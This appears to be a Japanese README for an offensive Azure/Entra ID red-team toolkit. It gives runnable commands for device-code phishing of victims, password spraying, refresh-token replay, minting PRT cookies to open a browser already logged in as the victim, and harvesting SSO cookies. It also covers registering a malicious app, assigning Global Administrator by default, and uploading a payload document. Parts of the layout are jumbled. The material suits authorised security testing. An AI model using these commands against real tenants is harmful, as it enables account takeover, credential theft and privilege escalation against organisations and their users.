
Azure RedOpsは、Microsoft Entra IDのセキュリティ態勢を評価するためのオフェンシブセキュリティツールキットです。
Azure / Entra ID レッドチーム運用のためのスイスアーミーナイフ的ツール。
作者: Mr.Un1k0d3r (TrueCyber Inc) バージョン: 0.1 言語: Python 3.12+
AzureRedOps は、Microsoft Entra ID と Azure テナントのセキュリティ態勢を評価するためのオフェンシブセキュリティツールキットです。認証、トークン管理、ディレクトリ列挙、特権チェック、パスワードスプレー、Microsoft Graph に対する侵害後アクションといった、よく使われるレッドチームワークフローを、一貫した --activity 駆動の CLI の背後にまとめています。
すべての操作は -a/--activity で選択します。認証中に取得したトークンはローカルにキャッシュされ(.azure_creds)、-l/--load-access-token で名前を指定して再利用できるため、生の JWT を貼り付ける必要はほとんどありません。
このツールの詳細は CYPFER ブログ をご覧ください。
.azure_creds)でアクセストークン/更新トークンを保存、一覧表示、デコード/表示、削除します。どのフローでも -s/--save と -n/--name を使うと、トークンを自動的に永続化できます。auth) — ユーザー名/パスワードによる直接認証。phish-start / phish-capture) — OAuth デバイス認可グラントを悪用し、ターゲットが microsoft.com/devicelogin でユーザーコードを入力したときに発行されるトークンを取得します。デフォルトで自動キャプチャされます。auth-app) — カスタムアプリケーション登録に対する完全な Authorization Code + PKCE フロー。組み込みのローカル HTTPS リスナーがリダイレクトを受信して提供します。auth-interactive) — 実際のブラウザ(Playwright。デフォルトは Firefox、-br で切替)を操作し(MFA / 条件付きアクセス / SSO に対応)、記録されたセッション HAR からすべてのトークンを収穫します。refresh) — 更新トークンを新しいアクセストークンと交換します。obo) — 発行済みのアクセストークンを、下流リソースにスコープされた新しいトークンと交換します(OAuth 2.0 jwt-bearer / OBO)。browser-sso) — 対象の Web アプリ(Outlook on the web、Teams、SharePoint、Azure ポータルなど)に対して、実際のブラウザを直接開きます。 を使用すると、更新トークンから Cookie を自動的に生成し(デバイス登録 → PRT → )、新しいブラウザで手動ログインなしにシングルサインオンを完了します。gather-all コレクター。spray)と、クロスアプリ更新トークンスプレー(spray-refresh)。magic-app は AllPrincipals 同意を持つ公開リダイレクト可能なアプリを検出します。既知/注目すべき Microsoft アプリ ID の組み込みリストも含みます。requirements.txt を参照):
PyJWTrequestsplaywrightcryptography (browser-sso -aprt、つまり自動 PRT フローの場合のみ必要)auth-interactive、browser-sso)用の Playwright ブラウザランタイム。
Firefox がデフォルトのエンジンです(-br/--browser)。次のコマンドでインストールしてください:
python -m playwright install firefox。includes/web/cert.pem および includes/web/key.pem に配置します
(auth-app PKCE フローの場合のみ必要 — を参照)。git clone AzureRedOps cd AzureRedOps
python3 -m venv AzureRedOps source AzureRedOps/bin/activate # Linux / macOS
pip install -r requirements.txt
python -m playwright install firefox
ツールを実行してください:```bash
python3 AzureRedOps.py -a <activity> [options]
一般的な呼び出しパターンは次のとおりです:```bash python3 AzureRedOps.py -a [authentication] [activity options] [global options]
### トークンの提供
Microsoft Graph を呼び出すアクティビティにはアクセス トークンが必要です。指定方法は 2 つあります:
| 方法 | フラグ | 例 |
|--------|------|---------|
| 生のトークンを渡す | `-ac, --access-token` | `-ac eyJ0eXAi...` |
| 名前でキャッシュされたトークンを読み込む | `-l, --load-access-token` | `-l mytoken` |
`-l` を使用すると、一致する `access_token` (および、該当する場合は `refresh_token`
と `tenant`) が `.azure_creds` ストアから読み取られます。
### トークンのファイルへの保存 (`-s` / `-n`)
トークンを取得するアクティビティ(`auth`、`auth-app`、`auth-interactive`、
`phish-start`/`phish-capture`、`refresh`)は、`-s/--save` を `-n/--name` と
一緒に追加することで、ローカル資格情報ストア (`.azure_creds`) に
**自動的に永続化**できます:```bash
# Authenticate and save the resulting tokens under the name "victim1"
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -s -n victim1
-s/--save は自動保存を有効にします。-n/--name が必要です — -n がない場合、ツールはエラーで終了します。-n/--name は、トークンが保存されるキーです。後で、生の JWT を貼り付ける代わりに -l victim1 で再利用したり、-a view -n victim1 で表示したり、-a delete -n victim1 で削除したりできます。auth-interactive アクティビティは常に自動保存され、-n が指定されていない場合は対話的に名前の入力を求められます。-j)ほとんどの列挙アクティビティ(list-users、list-applications、list-principals、gather-all、raw-url)は、-j/--json <filename> を受け付け、生の API レスポンスを印刷する代わりに(または印刷に加えて)JSON ファイルに書き込みます。```bash
python3 AzureRedOps.py -a list-users -l victim1 -j users.json
For `gather-all`, 指定されたファイル名はサフィックスとして使用され、Graph エンドポイントごとに 1 つのファイルが書き込まれます
(例: `users-<name>`、`groups-<name>`、...)。
> ヒント: `-j` は構造化された JSON エクスポートを制御し、`-re/--redirect-to-file` は
> 整形されたコンソール出力を `output.txt` にミラーリングします。これら 2 つは独立しています。
### テナント識別子
- `-t, --tenant` は**ドメイン名**(例: `contoso.com`)を指定し、`id` アクティビティで使用されます。
- `-tid, --tenant-id` は**テナント GUID** または `common` を指定し、認証アクティビティで使用されます。
---
## コマンドラインオプション
| 短縮形 | 長い形式 | デフォルト | 説明 |
|-------|------|---------|-------------|
| `-a` | `--activity` | `id` | **(必須)** 実行するアクティビティ([アクティビティ](#activities) を参照)。 |
| `-ac` | `--access-token` | | Azure アクセストークン。 |
| `-n` | `--name` | | トークンの保存/読み込みに使用する名前、または `register-app`/`new-group`/`invite` の表示名。 |
| `-t` | `--tenant` | | Azure テナントの**ドメイン**名(`id` で使用)。 |
| `-c` | `--devicecode` | | デバイスコード(`phish-capture` で使用)。 |
| `-tid` | `--tenant-id` | | Azure テナント **ID**(GUID)または `common`。 |
| `-app` | `--appid` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | アプリケーション(クライアント)ID。 |
| `-e` | `--endpoint` | `microsoftonline.com` | 対象とするログインエンドポイントのドメイン。 |
| `-r` | `--refresh-token` | | 認証用リフレッシュトークン。 |
| `-as` | `--auto-start` | `True` | `phish-start` の後にデバイスコードのキャプチャを自動的に開始する。 |
| `-l` | `--load-access-token` | | `.azure_creds` から名前を指定してキャッシュされたトークンを読み込む。 |
| `-j` | `--json` | | アクティビティの出力を指定した JSON ファイルに保存する。 |
| `-fl` | `--filter` | | キーがこれらのいずれかに一致する属性のみを出力する(カンマ区切り)。 |
| `-u` | `--username` | | ユーザープリンシパル名(メールアドレス)。 |
| `-p` | `--password` | | ユーザーパスワード。 |
| `-s` | `--save` | `False` | 取得したトークンを `.azure_creds` に自動保存する(**`-n` が必要**)。 |
| `-cp` | `--check-privileges` | `False` | スプレー攻撃によるログインが成功した後、ユーザー/アプリを列挙できるかどうかを調べる。 |
| `-uid` | `--uid` | | Azure ユーザーオブジェクト ID(`add-group` で使用)。 |
| `-headers` | `--headers` | | 追加の HTTP ヘッダーを JSON で指定。例: `{"X-Foo": "bar"}`。 |
| `-gid` | `--gid` | `62e90394-69f5-4237-91f9-056ad24d70a7` | ディレクトリロール / グループ ID(デフォルト = **グローバル管理者**)。 |
| `-i` | `--id` | `False` | `interest` の場合: アプリケーション ID のみを出力する。 |
| `-ty` | `--type` | | `interest` の場合: 特定のカテゴリに絞り込む。 |
| `-fp` | `--filepath` | | アップロードするファイル(`push-file`)、またはスプレー用のカスタムアプリリスト。 |
| `-v` | `--version` | `v2.0` | 認証 API のバージョン: `v0` または `v2.0`。 |
| `-ua` | `--user-agent` | *(Chrome UA 文字列)* | HTTP `User-Agent` を上書きする。 |
| `-au` | `--audience` | `https://graph.microsoft.com` | トークンのオーディエンス / リソース。 |
| `-sc` | `--scope` | `openid offline_access` | OAuth2 スコープ。Graph には `https://graph.microsoft.com/.default`、スプレーには `openid` を使用。 |
| `-url` | `--url` | | `raw-url`/`invite` のターゲット URL。`auth-interactive` では URL のカンマ区切りリスト。 |
| `-beta` | `--beta` | `False` | `list-users`/`list-applications` で Microsoft Graph の **beta** エンドポイントを使用する。 |
| `-exp` | `--expand` | `False` | 出力内のネストされたリスト/辞書を人間が読みやすい形式に展開する。 |
| `-k` | `--keep` | `False` | `auth-interactive` / `browser-sso` の後に `session.har` ファイルを保持する。 |
| `-cs` | `--client-secret` | | `obo`(On-Behalf-Of)フローで使用する機密クライアントシークレット。 |
| `-prt` | `--prt-cookie` | | `browser-sso` でブラウザ SSO を初期化するための PRT クッキー値(`x-ms-RefreshTokenCredential`)。 |
| `-br` | `--browser` | `firefox` | ブラウザフロー(`auth-interactive`、`browser-sso`)で使用する Playwright ブラウザエンジン。`firefox`、`chromium`、`webkit` のいずれか。 |
| `-aprt` | `--auto-prt` | `False` | `browser-sso` の場合: リフレッシュトークンから PRT クッキーを自動生成し(デバイス登録 → PRT → `x-ms-RefreshTokenCredential`)、ブラウザが**認証済み**の状態で開くようにする。`cryptography` と FOCI/ブローカー リフレッシュ トークンが必要。 |
| `-d` | `--debug` | `False` | デバッグログを有効にする。 |
| `-dd` | `--verbose-debug` | `False` | 詳細な HTTP リクエスト/レスポンスログを有効にする。 |
| `-re` | `--redirect-to-file` | `False` | すべてのコンソール出力を `output.txt` にミラーリングする。 |
---
## アクティビティ
以下では、各アクティビティの**必須**引数と*オプション*引数を示しています。
"トークン" は、`-ac` または `-l` のいずれかが必須であることを意味します。
### トークン管理
| アクティビティ | 必須 | オプション | 説明 |
|----------|----------|----------|-------------|
| `save` | `-ac`, `-n` | `-tid`, `-r` | アクセス(およびオプションのリフレッシュ)トークンを `.azure_creds` に保存します。 |
| `list-token` | — | — | 保存されているすべてのトークンの名前を一覧表示します。 |
| `view` | `-n` | — | 保存されたトークンの JWT クレームをデコードして表示します。 |
| `delete` | `-n` | — | ストアから保存されたトークンを削除します。 |```bash
# Save a token under the name "mytoken"
python3 AzureRedOps.py -a save -n mytoken -ac eyJ0eXAi... -r 0.AReAB... -tid <tenant-guid>
# List, view, delete
python3 AzureRedOps.py -a list-token
python3 AzureRedOps.py -a view -n mytoken
python3 AzureRedOps.py -a delete -n mytoken
python3 AzureRedOps.py -a id -t contoso.com
python3 AzureRedOps.py -a phish-start -tid common -app d3590ed6-52b3-4102-aeff-aad2292ab01c
python3 AzureRedOps.py -a phish-capture -c -tid common
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com -s -n harvested
python3 AzureRedOps.py -a refresh -l mytoken -app d3590ed6-52b3-4102-aeff-aad2292ab01c
python3 AzureRedOps.py -a obo -l mytoken -tid -app -cs -au https://graph.microsoft.com
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt
#### 認証フローの仕組み
AzureRedOps は、トークンを取得するための複数の異なる方法を実装しています。エンゲージメントに合ったものを選択してください。いずれの方法も `-s/-n` に対応し、結果を自動保存します。
##### デバイスコードフィッシング (`phish-start` / `phish-capture`)
OAuth 2.0 の **デバイス認可グラント** は、入力制約のあるデバイス向けに設計されており、強力なフィッシングプリミティブとなります。つまり、ファーストパーティの Microsoft アプリケーションに代わってコードを要求し、その後、ソーシャルエンジニアリングによって標的を誘導し、自身のアカウントにサインインしたまま `https://microsoft.com/devicelogin` でそのコードを入力させます。そうすると、トークンは **あなたに** 発行されます。
- `phish-start` はデバイスコードを要求し、**ユーザーコード**、ログイン URL、および生の **デバイスコード** を表示します。`-as/--auto-start` がデフォルトで `True` のため、その後すぐにトークンのポーリングを開始します。つまり、通常は `phish-start` を実行してユーザーコードを標的に渡すだけで十分です。
- `phish-capture` は手動操作版です。以前 `-c/--devicecode` で取得したデバイスコードを渡すと、被害者がログインを完了するまでトークンエンドポイントをポーリングします(承認が保留中の間、ツールは静かに再試行します)。
- 特定のファーストパーティクライアントを偽装するには `-app/--appid` を使用し、テナントにスコープを限定するには `-tid/--tenant-id` を使用します(デフォルトは `common`)。ヒント: スコープを `'https://graph.microsoft.com/.default offline_access openid'` に設定すると、更新トークン付きの Graph 対応トークンを取得できます。```bash
# Start a device-code session (auto-captures the token once the victim logs in)
python3 AzureRedOps.py -a phish-start -tid common -s -n phished
# Or capture against a code you generated separately
python3 AzureRedOps.py -a phish-capture -c <device-code> -tid common -s -n phished
auth-app)auth-app は、サードパーティ(非デフォルト)のアプリケーション登録に対して、完全な PKCE を使用した Authorization Code フロー を実行します。このツールはローカルの HTTPS リスナー(includes/Webserver.py、https://localhost:2342 上)を起動し、これが OAuth リダイレクト URI として機能します。PKCE の code_verifier/code_challenge ペアを生成し、ブラウザで開くための認可 URL を出力します。同意後、Azure は認可コードをローカルリスナーにリダイレクトし、ツールはそれをトークンと交換します。
これは、アプリケーションを制御している(または登録している)場合に、実際のブラウザセッションを通じて同意を操作したいときに使用するフローです。不正同意(illicit-consent)スタイルのシナリオや、ROPC がブロックされている場合に役立ちます。
includes/web/cert.pem と includes/web/key.pem に TLS 証明書/秘密鍵のペアが必要です(生成方法については ノート を参照)。8545b2fc-a69c-4851-9206-0f74a519fe5f です。```bash
python3 AzureRedOps.py -a auth-app -tid -s -n consented##### 対話式ブラウザ認証 (`auth-interactive`)
`auth-interactive` は **Playwright 経由で実際のブラウザ** (デフォルトでは Firefox。エンジンは `-br/--browser` で選択) を起動し、オペレーター(または共有セッション上のターゲット)が対話式ログインを完了できるようにします。スクリプト化されたフローでは対応できない MFA、Conditional Access、フェデレーション/SSO リダイレクトも含まれます。ブラウザセッション全体は HAR ファイル (`session.har`) に記録され、ツールはそのキャプチャを解析して `/oauth2/v2.0/token` エンドポイントで見られた **すべての** アクセストークン/リフレッシュトークンのペアを抽出し、各 JWT をデコードして、保存するトークンを選択できます。
- `-url/--url` は、ログインページ読み込み後に移動するページを設定します。**カンマ区切りリスト** の URL を受け付けます(例: `https://portal.azure.com,https://outlook.office.com`)
これにより、1回のセッションで複数のリソースのトークンを収集できます。デフォルトは
`https://portal.azure.com` です。
- このアクティビティは **常に自動保存** されます。収集後、保持するトークンインデックスと保存名を選択するプロンプトが表示されます。
- オフライン解析用に `session.har` を保持するには `-k/--keep` を追加します(デフォルトでは削除されます)。```bash
# Log in interactively and harvest tokens for two resources
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com,https://outlook.office.com -k
obo)obo は、OAuth 2.0 の On-Behalf-Of フロー(grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer)を実装します。
既に発行されたアクセス トークン をアサーションとして受け取り、ユーザーを再認証することなく、
別のダウンストリーム リソースにスコープされた新しいトークンと交換します。
-ac/--access-token または -l/--load-access-token によるキャッシュ トークンで指定します。-app/--appid + -cs/--client-secret は、交換を実行する 機密クライアント を識別します。Entra ID では、このクライアントがアサーション トークンの 対象者(aud) である必要があります。不一致の場合は AADSTS500131/AADSTS50013 で失敗します。-au/--audience(デフォルトは https://graph.microsoft.com。<audience>/.default に変換されます)または -sc/--scope による完全なスコープで設定します。-s/-n が尊重されます。```bashpython3 AzureRedOps.py -a obo -l mytoken -tid
-app -cs -au https://graph.microsoft.com -s -n obo-graph
##### トークンからブラウザへのシングルサインオン(`browser-sso`)
`browser-sso` は、**ユーザーとしてすでに認証済みの実際のブラウザ**を開きます。何もクリックせずに、たとえば **Outlook on the web** に直接入ることができます。これは「ブラウザを開くだけで有効なセッションを取得する」フローです。ブラウザは、以下の3つの方法(優先順位順)のいずれかでセッションを取得します。
**1. `-aprt/--auto-prt` — PRT Cookie を自動生成(推奨)。**
リフレッシュトークンは、ツールによって完全に **Primary Refresh Token(PRT)** とそのブラウザ Cookie に変換され、Entra の ESTS が手動ログインなしで SSO を完了できるようにシードされます。そのチェーン(`includes/PRT.py` 内の ROADtoken / roadtx / AADInternals プロトコル)は次のとおりです。
1. リフレッシュトークンを **デバイス登録(DRS)** トークンと交換します。
2. Azure AD に**デバイスを登録**します → デバイス証明書 + トランスポートキー。
3. リフレッシュトークンを使用して **PRT + セッションキー**を要求します(デバイス証明書で署名)。
4. **`x-ms-RefreshTokenCredential` Cookie を導出**し(KDFv2: `SHA256(ctx‖decoded-payload-bytes)` に対する SP800-108 KDF → HS256 署名の JWT。KDFv1 → `AADSTS5000611`、バイト誤り → `AADSTS50058`)、
新しいブラウザコンテキストにシードします。
Cookie は `SameSite=None` でシードされ、**トップレベルの ESTS `/authorize` ウォームアップ**(Office `landingv2` クライアント)を介して消費されるため、`ESTSAUTH` セッション Cookie はファーストパーティとして発行されます。その後、ターゲットアプリはログイン済みの状態で開きます。Cookie はナビゲーションの直前に新しい nonce で導出され、1回再試行されます。それでも SSO が完了しない場合、ツールは `prompt=none` をプローブし、正確な `AADSTS` の理由(例: 準拠/管理デバイスを要求する Conditional Access、または MFA — どちらも新しく登録したデバイスではバイパスできません)を出力します。
PRT、セッションキー、Cookie は(そのまま貼り付け可能な `-prt "<value>"` ヒント付きで)出力されるため、チェーンを再実行せずに後で再利用できます。
> **`-aprt` の要件と OPSEC:**
> - **`cryptography`** パッケージが必要です(`pip install cryptography`。これは
> `requirements.txt` に含まれています)。
> - リフレッシュトークンは **FOCI / ブローカークライアント**に属している必要があります。
> 例: **Microsoft Authentication Broker へのデバイスコードフィッシング**
> (`29d9ed98-a469-4536-ade2-f981bc1d605e`)で取得したもの。これは SharePoint/OneDrive
> のデバイスコードルアーがまさに生成するものです。デフォルトの `-app`
> (Microsoft Office FOCI クライアント)でも機能します。
> - **デバイス登録はテナント内にデバイスオブジェクトを作成します** — これは静かに実行されるものではなく、
> 痕跡(アーティファクト)を残します(また、ユーザーがデバイスの参加/登録を許可されている必要があります)。
**2. `-prt/--prt-cookie` — 既に保持している PRT Cookie をシードします。**
既に `x-ms-RefreshTokenCredential` の値(以前の `-aprt` の実行、または侵害されたホストから `ROADtoken`/`browsercore` や `Mimikatz` 経由で取得したもの)を保持している場合は、それを直接渡してミントチェーンをスキップします。
**3. どちらでもない場合 — トークンを変換して手動でログイン(フォールバック)。**
PRT Cookie がない場合、リフレッシュトークンはリソーススコープのアクセス/リフレッシュトークン(`-s/-n` で出力・保存されます)と交換され、手動でログインを完了できるようにブラウザがターゲットで開かれます。
**PRT / セッション Cookie の収穫。** ブラウザセッションが終了すると(自動クローズのタイムアウトまたはウィンドウを閉じたとき)、`browser-sso` はライブブラウザコンテキストを読み取り、**発行された再利用可能なすべての SSO Cookie** — PRT Cookie(`x-ms-RefreshTokenCredential`)と ESTS セッション Cookie(`ESTSAUTH`、`ESTSAUTHPERSISTENT`、...)— を、次回リプレイできるようそれぞれ貼り付け可能な `-prt` ヒント付きで出力します。Cookie はセッションがライブの間ポーリングされるため、ウィンドウを早めに閉じても値はキャプチャされます。同じ収穫処理は `auth-interactive` の最後にも実行されます。
- `-url/--url` はターゲットを選択します。使いやすいプリセット — `outlook`、`office`、`teams`、
`sharepoint`、`onedrive`、`portal`、`graph` — または1つ以上の生の `https://` URL
(カンマ区切り)を渡します。デフォルトは `outlook` です。
- `-r/--refresh-token` + `-tid`(またはキャッシュされた `-l`)でリフレッシュトークンを指定します。
`-app/--appid` はデフォルトで Microsoft Office FOCI クライアントになります。
- `-br/--browser` は Playwright エンジンを選択します(デフォルトは Firefox)。
- `-k/--keep` はブラウザセッションの `session.har` 記録を保持します。```bash
# BEST: auto-mint a PRT from a device-code-phished (broker) token and drop straight
# into an authenticated Outlook on the web — no manual login.
python3 AzureRedOps.py -a browser-sso -l phished -url outlook -aprt
# Seed a PRT cookie you already have
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt <x-ms-RefreshTokenCredential>
# Target Teams from a raw refresh token, auto-mint the PRT, keep the session recording
python3 AzureRedOps.py -a browser-sso -r 0.AReAB... -tid <tenant-guid> -url teams -aprt -k
python3 AzureRedOps.py -a self -l mytoken
python3 AzureRedOps.py -a list-users -l mytoken -beta -j users.json -fl displayName,userPrincipalName
python3 AzureRedOps.py -a register-app -n EvilApp -l mytoken
python3 AzureRedOps.py -a add-group -uid -l mytoken
python3 AzureRedOps.py -a push-file -fp ./payload.docx -n payload.docx -l mytoken
python3 AzureRedOps.py -a raw-url -url "https://graph.microsoft.com/beta/users" -l mytoken
python3 AzureRedOps.py -a invite -n [email protected] -url https://example.com/invite -l mytoken
python3 AzureRedOps.py -a magic-app -l mytoken
### パスワードスプレー攻撃
| アクティビティ | 必須 | 任意 | 説明 |
|----------|----------|----------|-------------|
| `spray` | `-u`, `-p`, `-tid` | `-fp`, `-cp` | 既知のファーストパーティアプリID(v0 + v2.0 API)に対して資格情報をスプレーします。 |
| `spray-refresh` | `-v`、および (`-l`) **または** (`-r` + `-tid`) | `-fp`, `-cp` | 複数のアプリIDにわたって更新トークンをリプレイします。 |
デフォルトでは、両方のアクティビティはアプリソースとして `includes/auth_apps.json` を使用します。`-fp` で上書きできます。`-cp` を追加すると、各ログインの成功がユーザー/アプリを列挙できるかどうかをテストできます。```bash
# Spray a single credential across first-party apps
python3 AzureRedOps.py -a spray -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -cp
# Cross-app refresh spraying from a saved token
python3 AzureRedOps.py -a spray-refresh -l mytoken -v v2.0
---
## 出力と生成ファイル
| ファイル | 作成元 | 説明 |
|------|-----------|-------------|
| `.azure_creds` | トークン保存アクティビティ | アクセストークン/リフレッシュトークンを名前でキー付けしたローカルJSONキャッシュ。 |
| `output.txt` | `-re` フラグ | すべてのコンソール出力のタイムスタンプ付きミラー。 |
| `session.har` | `auth-interactive` / `browser-sso` | ブラウザセッションの記録(`-k` が設定されていない限り削除されます)。 |
| `<name>.json` | `-j` フラグ / `gather-all` | 保存されたAPIレスポンス。 |
### 同梱データファイル
| ファイル | 説明 |
|------|-------------|
| `includes/auth_apps.json` | スプレー攻撃と `interest` リストに使用されるターゲットアプリケーションID。 |
| `includes/apps.json` | `knownids` 用の既知のMicrosoftアプリIDとメタデータ。 |
| `includes/Webserver.py` | `auth-app` のPKCEリダイレクトを実装するローカルHTTPSリスナー。 |
| `includes/PRT.py` | `browser-sso -aprt` で使用されるPRT発行チェーン(デバイス登録 → PRT → `x-ms-RefreshTokenCredential` クッキー)。 |
| `includes/web/cert.pem`, `includes/web/key.pem` | ローカルリスナー用のTLS素材。 |
---
## 注意点とヒント
- **既定のアプリID**(`d3590ed6-52b3-4102-aeff-aad2292ab01c`)は、ほとんどのフローで動作するMicrosoft Office
ファーストパーティクライアントです。一部のアクティビティが出力するヒントは、より広いアクセスを得るために
**Microsoft Azure CLI** アプリ(`04b07795-8ddb-461a-bbee-02f9e1bf7b46`)へのトークン拡張を推奨しています。
- **スコープの指針:** パスワードスプレーには `-sc openid` を使用し、
Graph操作には `-sc 'https://graph.microsoft.com/.default'` を使用します。
- **`--beta`** は `list-users` / `list-applications` をGraphベータエンドポイントに切り替え、
追加情報(例: オンプレミス同期属性)を明らかにできます。
- **`auth-app` TLS:** ローカルPKCEリスナーには、`includes/web/cert.pem` と
`includes/web/key.pem` の証明書/鍵ペアが必要です。それらがない場合は、
自己署名ペアを生成してください。例: ```bash
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -subj "/CN=localhost"
-d は高レベルのデバッグ情報を出力します。-dd は完全な HTTP リクエストと
レスポンス(ヘッダーとボディ)をダンプします。トークン交換の失敗を診断する際に役立ちます。-br/--browser)。 ブラウザフロー (auth-interactive,
browser-sso) は ヘッド付き Playwright ブラウザを実行します。エンジンのデフォルトは firefox
(WSLg で最も信頼性の高いヘッド付きエンジン) です。-br chromium または -br webkit で切り替えます。
選択したエンジンを一度インストールしてください: python -m playwright install <engine>。/dev/dxg、d3d12 Mesa ドライバー駆動) を公開しており、
ブラウザの GPU/コンポジタプロセスがそれを使おうとします。一方、WSL VM のデフォルトの /dev/shm は
非常に小さい(多くの場合 64 MB)です。この2つが組み合わさると — GPU プロセスが駆動できないデバイス上でスピンし、
共有メモリコンポジタが /dev/shm を使い果たす — ため、何も描画されず VM が肥大化して
Windows ホストがスラッシングするまでに至ります。副次的な要因として
がありました。Microsoft のログインページはロングポーリングを行うため、
は発火せず、タイムアウトまでナビゲーションが空白ページでブロックされます。
作成者: Mr.Un1k0d3r — TrueCyber Inc.
-aprt/--auto-prtx-ms-RefreshTokenCredential| アクティビティ | 必須 | オプション | 説明 |
|---|
id | -t | — | 指定されたメールドメインのテナント ID を解決します。 |
phish-start | — | -app、-tid、-as、-s、-n | デバイスコードフローを開始し、ユーザーコードを表示して(デフォルトでは)自動的にキャプチャします。 |
phish-capture | -c | -app、-tid、-s、-n | 以前に発行されたデバイスコードを使用してトークンをポーリングします。 |
auth | -u、-p、-tid、-app、-v | -s、-n | ユーザー名/パスワードで認証します(ROPC)。 |
auth-app | -tid | -s、-n | ローカル HTTPS リスナーを介した Authorization-Code + PKCE フロー。 |
auth-interactive | — | -url、-k、-n | ブラウザ(Playwright)を起動してユーザーにログインさせ、セッション HAR からトークンを取得します。常に自動保存されます。 |
refresh | -v、-app、および (-l) または (-r + -tid) | -s、-n | リフレッシュトークンを新しいアクセストークンと交換します。 |
obo | -tid、-app、および (-ac) または (-l) | -cs、-au、-sc、-s、-n | On-Behalf-Of: 発行されたアクセストークンを、別のリソースにスコープされたトークンと交換します。 |
browser-sso | -app、および (-l) または (-r + -tid) | -aprt、-url、-prt、-v、-k、-s、-n | ユーザーとして認証済みのブラウザを開きます。-aprt を追加すると、リフレッシュトークンから PRT クッキーを自動生成します。-prt で準備済みのものをシードするか、トークン変換 + 手動ログインにフォールバックします。 |
| アクティビティ | 必須 | オプション | 説明 |
|---|
self | Token | — | 現在のユーザーのプロフィール(/me)を表示します。 |
email | Token, -fl | — | サインイン中のユーザーのメールボックスからキーワードを検索します。 |
permission | Token | — | テナントの認可ポリシー(ベータ版)を表示します。 |
list-users | Token | -j, -beta, -fl, -exp | すべてのユーザーを列挙します。 |
list-applications | Token | -j, -beta, -fl, -exp | すべてのアプリケーションを列挙します。 |
list-principals | Token | -j, -fl, -exp | すべてのサービスプリンシパルを列挙します。 |
register-app | Token, -n | — | 新しいアプリケーションを登録します(1年間有効なクライアントシークレット付き)。 |
new-group | Token, -n | — | 新しいセキュリティグループを作成します。 |
add-group | Token, -uid | -gid | プリンシパルにディレクトリロールを割り当てます(既定ロール = グローバル管理者)。 |
push-file | Token, -fp, -n | — | ローカルファイルをユーザーのOneDriveにアップロードします。 |
gather-all | Token | -j | ユーザー、グループ、アプリ、SP、ロール、ポリシー、権限付与を一括収集します。 |
raw-url | Token, -url | -j, -fl, -exp | 任意のGraph/REST URLに対して生のGETを実行します(@odata.nextLink のページングに対応)。 |
invite | Token, -n | -url | 外部(ゲスト)ユーザーを招待します。-n は招待先のメールアドレスです。 |
magic-app | Token | — | AllPrincipals の同意、appRoleAssignmentRequired=false、パブリックリダイレクトURIを持つアプリを検索します。 |
| アクティビティ | 必須 | オプション | 説明 |
|---|
knownids | — | -fl, -exp | 既知のMicrosoftアプリケーションIDを一覧表示します(includes/apps.json)。 |
list-interest | — | — | includes/auth_apps.json で定義されたアプリカテゴリを一覧表示します。 |
interest | — | -i, -ty | 注目のアプリIDを一覧表示します。-i はIDのみを出力し、-ty はカテゴリでフィルタリングします。 |
| python3 AzureRedOps.py -a knownids | |||
| python3 AzureRedOps.py -a list-interest | |||
| python3 AzureRedOps.py -a interest -ty all_users | |||
| python3 AzureRedOps.py -a interest -i # IDs only |
page.goto(..., wait_until="networkidle")networkidle--no-sandbox --disable-gpu --disable-dev-shm-usage が、Firefox には gfx.webrender.force-disabled /
layers.acceleration.disabled が設定され、CPU(ソフトウェア)レンダリングにフォールバックしてページが描画され、完全に操作可能になります。
すべてのナビゲーションは networkidle ではなく domcontentloaded を待つようになりました。動作するブラウザが表示されるはずです。/dev/shm を増やし (sudo mount -o remount,size=1g /dev/shm)、
WSL 2 + WSLg を使用していることを確認し (wsl --update; echo $DISPLAY が空でないこと)、
ブラウザランタイムが venv にインストールされていることを確認してください
(python -m playwright install firefox および python -m playwright install-deps)。